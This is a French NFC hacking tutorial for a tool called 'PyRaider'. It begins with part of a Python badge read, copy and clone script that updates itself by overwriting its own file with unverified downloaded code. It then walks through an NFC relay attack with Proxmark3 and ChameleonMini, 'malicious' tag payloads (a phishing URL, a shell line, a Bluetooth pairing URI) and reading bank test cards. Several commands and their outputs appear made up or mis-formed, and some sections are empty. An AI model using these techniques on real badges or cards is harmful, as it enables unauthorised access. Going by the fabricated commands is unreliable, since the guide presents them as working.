def valider_cle_chiffrement(cle):
    if len(cle) != 16:
        logger.error("La clé de chiffrement doit contenir 16 caractères.")
        return False
    return True
# Fonction pour régler les paramètres de tuning
def regler_tuning():
    print("Réglage du tuning...")
    try:
        nouveau_parametre = input("Entrez la nouvelle valeur du paramètre de tuning : ")
        configuration['tuning'] = nouveau_parametre
        sauvegarder_configuration(configuration)
        print(f"Paramètre de tuning mis à jour : {nouveau_parametre}")
    except Exception as e:
        print(f"Erreur lors du réglage du tuning : {e}")
        logger.error(f"Erreur lors du réglage du tuning : {e}")
# Fonction pour sauvegarder la configuration dans un fichier JSON
def sauvegarder_configuration(config, fichier=CONFIG_FILE):
    with open(fichier, 'w') as f:
        json.dump(config, f)
# Fonction pour charger la configuration à partir d'un fichier JSON
def charger_configuration(fichier=CONFIG_FILE):
    try:
        with open(fichier, 'r') as f:
            return json.load(f)
    except FileNotFoundError:
        return {}
# Fonction pour définir le niveau de journalisation
def definir_niveau_journalisation(niveau):
    logger.setLevel(niveau)
# Fonction pour demander confirmation de l'utilisateur
def demander_confirmation(action):
    reponse = input(f"Êtes-vous sûr de vouloir {action}? (oui/non): ")
    return reponse.lower() == 'oui'
# Fonction pour afficher l'état du port NFC
def afficher_etat_port_nfc(port):
    if port:
        logger.info(f"Port NFC connecté : {port}")
    else:
        logger.error("Aucun port NFC connecté.")
# Fonction pour annuler une opération
def annuler_operation():
    return input("Appuyez sur 'a' pour annuler l'opération en cours.") == 'a'
# Exemple d'opération annulable
def exemple_operation_annulable():
    if annuler_operation():
        logger.info("Opération annulée.")
        return
    # Continuer l'opération
# Fonction pour vérifier et mettre à jour le script
def check_update():
    current_version = "1.0.0"
    latest_version_url = "https://raw.githubusercontent.com/PLATON-y/pyraider.py/main/version.txt"
    try:
        response = requests.get(latest_version_url)
        if response.status_code == 200:
            latest_version = response.text.strip()
            if latest_version != current_version:
                print(f"Une nouvelle version {latest_version} est disponible. Mettez à jour le script.")
                if demander_confirmation("mettre à jour le script"):
                    update_script()
            else:
                print("Vous utilisez déjà la dernière version du script.")
        else:
            logger.error("Impossible de vérifier les mises à jour.")
    except requests.RequestException as e:
        logger.error(f"Erreur lors de la vérification des mises à jour : {e}")
# Fonction pour mettre à jour le script
def update_script():
    script_url = "https://raw.githubusercontent.com/PLATON-y/pyraider.py/main/pyraider.py"
    try:
        response = requests.get(script_url)
        if response.status_code == 200:
            with open(__file__, 'wb') as f:
                f.write(response.content)
            print("Script mis à jour avec succès. Veuillez redémarrer le script.")
            exit(0)
        else:
            logger.error("Erreur lors de la mise à jour du script.")
    except requests.RequestException as e:
        logger.error(f"Erreur lors de la mise à jour du script : {e}")
# Fonction principale avec interface curses
def main(stdscr):
    curses.curs_set(0)
    verifier_utilisateur_root()
    if args.update:
        check_update()
        return
    fichier_donnees = importer_donnees()
    if not fichier_donnees:
        logger.error("Erreur lors de l'initialisation des données.")
        exit(1)
    configuration = charger_configuration()
    definir_niveau_journalisation(logging.INFO)
    menu = ["Lire badge NFC", "Copier badge NFC", "Encoder badge NFC", "Comparer badges NFC", "Cloner badges NFC", "Afficher détails tags NFC", "Mode automatique", "Réglage du tuning", "Quitter"]
    current_row = 0
    while True:
        stdscr.clear()
        h, w = stdscr.getmaxyx()
        for idx, row in enumerate(menu):
            x = w//2 - len(row)//2
            y = h//2 - len(menu)//2 + idx
            if idx == current_row:
                stdscr.attron(curses.color_pair(1))
                stdscr.addstr(y, x, row)
                stdscr.attroff(curses.color_pair(1))
            else:
                stdscr.addstr(y, x, row)
        stdscr.refresh()
        key = stdscr.getch()
        if key == curses.KEY_UP and current_row > 0:
            current_row -= 1
        elif key == curses.KEY_DOWN and current_row < len(menu) - 1:
            current_row += 1
        elif key == curses.KEY_ENTER or key in [10, 13]:
            if current_row == len(menu) - 1:
                break
            action = menu[current_row].lower().replace(' ', '_')
            cle_chiffrement = None
            if action == 'encoder_badge_nfc':
                cle_chiffrement = input("Entrez la clé de chiffrement (16 caractères) : ").encode('utf-8')
            manipuler_badge(fichier_donnees, "1", action, cle_chiffrement=cle_chiffrement)
if __name__ == "__main__":
    curses.wrapper(main)
            

⚔️ OP-08 : MITM NFC avec Matériel Dédié

Commandes pour MITM NFC avec Proxmark3/ChameleonMini, inspiré par Chaos Computer Club (ex. leur hack sur charging stations NFC en sniffer sessions sans clone). Concret : Utilise Proxmark pour relayer une session entre lecteur et tag, capturant données en temps réel (ex. UID et commandes).

# Avec Proxmark3 (relay mode, exemple concret : relayer une session MIFARE)
proxmark3 -c 'hf 14a relay -D /dev/ttyACM0' # Relaye entre lecteur et tag à 10cm
# Avec ChameleonMini (simulateur MITM, exemple : intercepter paiement)
chameleon -c 'nfc relay -p 1 -d 2' # Port 1 lecteur, port 2 tag
            

Point de Contrôle

proxmark3 -c 'hf 14a relay'
            

Attendu (exemple concret) :

$ proxmark3 -c 'hf 14a relay'
> Relaying NFC session between reader and tag...
> Captured: UID 12 34 56 78, Command READ SECTOR 0
            

⚙️ OP-09 : Configurations Matérielles Détaillées

Configurations concrètes pour lecteurs NFC, avec exemples réels de setup en lab (ex. pour cloner MIFARE Classic 1K).

💀 OP-10 : Exemples de Payloads NFC Malveillants

Exemples harmless simulés (lab-only), inspirés de NGate (relay Android) et SuperCard X (fraud relay). Concret : Payloads pour injection URL ou script, testables sur NTAG/MIFARE vide.

# Payload MIFARE pour injection URL malveillante (simulé, inspiré NGate - encode URL pour redirect phishing)
Sector 0, Block 0: 12 34 56 78 00 (UID)
Sector 1, Block 4: 68 74 74 70 3A 2F 2F 6D 61 6C 2E 63 6F 6D (http://mal.com - hex pour NDEF URI)
            

# Payload FeliCa pour script malveillant (simulé, inspiré SuperCard X - encode commande shell harmless)
Block 0: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F (header)
Block 1: echo "Malware activated" > /tmp/mal.sh (texte pour test trigger)
# Exemple supplémentaire : Payload NTAG pour Bluetooth pairing malveillant
Data: 01 03 A0 0C 34 03 08 D1 01 04 55 00 65 78 61 6D 70 6C 65 (NDEF pour URI bluetooth://maldevice)
            

📊 OP-11 : Comparaison des Protocoles NFC

Comparaison concrète avec exemples réels (ex. MIFARE dans badges d'accès, FeliCa dans Suica cards).

🛠️ OP-12 : Encodage de Tags NFC

Encode tags NFC (NTAG213/215/216) avec URLs, texte, contacts en lab-only. Inspiré par Seritag (how-to-encode) et NFCTagify (step-by-step). Concret : Encode URL sur NTAG213 pour ouvrir site sur scan.

Guide Étape par Étape

1. Choisis Tag: NTAG213 (144 octets, ~$0.5/unité, pour URL simple).
2. Outils: NFC Tools app (Android/iOS), ou Proxmark3/ChameleonMini pour pro (hf 14a write).
3. Active NFC: Sur smartphone, approche tag à 2-5cm.
4. Écris Données: Dans NFC Tools, sélectionne "Write" > "URL" > "https://pctamalou.fr".
5. Test: Scan avec autre téléphone – doit ouvrir URL. Ex. concret : Encode "tel:+33612345678" pour appel auto.

Exemple Code Android NFC API

Basé sur Android NFC API. Concret : Encode URI et texte.

import android.nfc.NdefRecord;
import android.nfc.NdefMessage;
NdefRecord uriRecord = NdefRecord.createUri("https://pctamalou.fr");
NdefRecord textRecord = NdefRecord.createTextRecord("fr", "Bonjour Apaches !");
NdefMessage message = new NdefMessage(new NdefRecord[] { uriRecord, textRecord });
tag.writeNdefMessage(message);
            

Risques

Échec si tag verrouillé (password set) ou interférences (métal). Teste en lab, évite tags propriétaires. Inspiré HN : Ajoute error handling pour retry write.

💳 OP-13 : Tests avec Cartes Bancaires Test

Utilise cartes test bancaires pour simuler paiements NFC en lab. Demande à ta banque une vieille carte expirée ou utilise Lemonway test cards. Concret : Teste lecture publique sur Visa test.

Obtenir Cartes Test

Ex. Lemonway : Visa 5017679110380400 (approuvée), CVV 123, Exp 12/25. MasterCard 5100000000000002 (déclinée). Contacte banque pour carte physique test (ex. "carte test NFC pour dev").

Intégration

Simule avec Lemonway API ou Proxmark3. Concret : Lecture Visa test.

proxmark3 -c 'hf 14a reader -t visa'
            

Exemple Résultat

$ proxmark3 -c 'hf 14a reader -t visa'
> UID: 12 34 56 78
> Type: Visa Contactless
> PAN: **** **** **** 0400
> Pays: FR
            

Risques

Utilise seulement test cards. Vieille carte réelle : Demande à banque pour éviter alerts. Documente (screenshots) pour conformité. Inspiré CCC : Sniffe sans write pour éducation.

🔬 OP-14 : Limites et Améliorations pour Lab

Faisabilité Technique avec Cartes Réelles

Badges MIFARE Classic (garage, accès): Script utilise mfoc/Proxmark3 pour lire/écrire, concret sur Classic 1K (ex. badge garage clés default). Limite : Modernes (DESFire EV2/3, AES) no clonage – brute force fail (heures, anti-brute). Pas faisable : Clonage si clés custom (ex. entreprise).

Cartes Bancaires (CB, Visa): Lecture UID/données publiques via hf 14a info. Clonage impossible (EMV dynamique). Concret : Teste sur test card Lemonway, lit PAN tronqué. Pas faisable : Transaction réelle sans auth.

Tags NFC Basiques (NTAG): Écriture URLs/texte facile (ex. "https://pctamalou.fr" sur NTAG213). Concret : Déclenche ouverture site sur scan. Problèmes : Parsing NDEF fail si mal formaté.

Limites et Risques

Pas faisable : Clonage FeliCa (AES fort) ou EMV (dynamique) – HN threads montrent fails sans hardware custom. Risques : Matos non détecté (flash Proxmark), ou alertes banque sur CB réelle. CCC/HN tech : Sniffe sessions (Wireshark USB), émule avec ChameleonMini sans clone réel.

Améliorations Recommandées

• Badges Sécurisés: Support DESFire (hf mf desfire) pour lecture partielle. ChameleonMini pour émuler (CCC e-motor hack style).
• Cartes Bancaires: Lecture publique only. Cartes test banque/Lemonway pour simu.
• Gestion Erreurs: Try/except pour "auth failed", retry auto. Support FeliCa via android.nfc.tech. Upgrade Proxmark EVO pour plus capacités.

Tableau Synthèse

🏁 Debrief & Éthique

Pourquoi ça marche : Failles NFC (CVE-2025-25650) permettent clonage/MITM sur vulnérables. PyRaider simule pour éducation, avec tests concrets (copie MIFARE, encode NTAG URL).

Contre-mesures :

• Honeypots Cowrie pour piéger MITM.
• Règles YARA/Sigma pour détecter dumps.
• AES-256 pour données NFC.
• ML IsolationForest pour anomalies.
• Zero Trust vérification mutuelle.

Légal : Lab-only avec tes cartes/badges. Violez art. 323-1 CP = 7 ans prison, 100 000 € amende. Documente tout, disclose responsibly (CCC style).

❓ FAQ

• PyRaider ? Outil open source NFC. Novice : scanner badge. Maestro : clonage MIFARE proxmark3. Concret : Teste sur NTAG URL.
• Légal ? Oui, lab isolé tes cartes (art. 323-1 CP). Demande banque cartes test.
• Pourquoi NFC 2025 ? Omniprésent paiements/transports (CISA). Ex. limites EMV sur CB.
• Échec analyse ? Vérifie Proxmark, libnfc, USB. Ex. flash firmware latest.
• Vraies failles ? Oui, CVE-2025-25650 (serrures). Inspiré CCC/HN pour émulation.